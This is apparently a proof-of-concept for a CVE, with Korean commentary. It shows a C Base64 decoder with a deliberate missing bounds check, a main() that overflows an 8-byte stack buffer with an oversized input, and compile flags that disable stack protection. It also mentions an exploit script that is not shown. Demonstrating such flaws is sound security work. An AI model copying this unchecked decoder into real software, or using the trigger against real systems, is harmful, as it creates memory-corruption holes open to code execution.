
CVE-2026-11105 PoC: 커스텀 Base64 디코더의 스택 버퍼 오버플로를 시연하며, 특수 제작된 과도한 크기의 입력이 스택 메모리를 덮어써 임의 코드 실행을 가능하게 합니다.
// base64_vuln.c - Vulnerable Base64 decoder
#include <stdio.h>
#include <string.h>
#include <stdint.h>
int base64_decode(const char *in, size_t inlen, char *out, size_t outlen) {
static const char table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int outpos = 0;
for (int i=0; i<inlen; i+=4) {
uint32_t sextet = 0;
int bytes = 0;
for (int j=0; j<4; j++) {
if (i+j >= inlen) break;
const char *p = strchr(table, in[i+j]);
if (p) sextet = (sextet << 6) | (p - table);
else bytes++;
}
// No check on outpos exceeding outlen!
out[outpos++] = (sextet >> 16) & 0xFF;
if (bytes < 2) out[outpos++] = (sextet >> 8) & 0xFF;
if (bytes < 1) out[outpos++] = sextet & 0xFF;
}
return outpos;
}
int main() {
char smallbuf[8];
char *malicious = "AAAA"; // padded, decodes to 3 bytes, but we'll feed a long string
// Attacker sends very long Base64 string, overflows smallbuf
base64_decode("QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB", 60, smallbuf, 8);
return 0;
}
사용자 지정 Base64 디코딩 함수는 출력 버퍼의 크기를 검증하지 않아 전형적인 스택 버퍼 오버플로우를 유발합니다. 공격자는 과도하게 큰 입력을 조작하여 반환 주소를 덮어쓰고 코드 실행을 달성할 수 있습니다.
gcc -o base64_vuln base64_vuln.c -fno-stack-protector -z execstack
python exploit_base64_overflow.py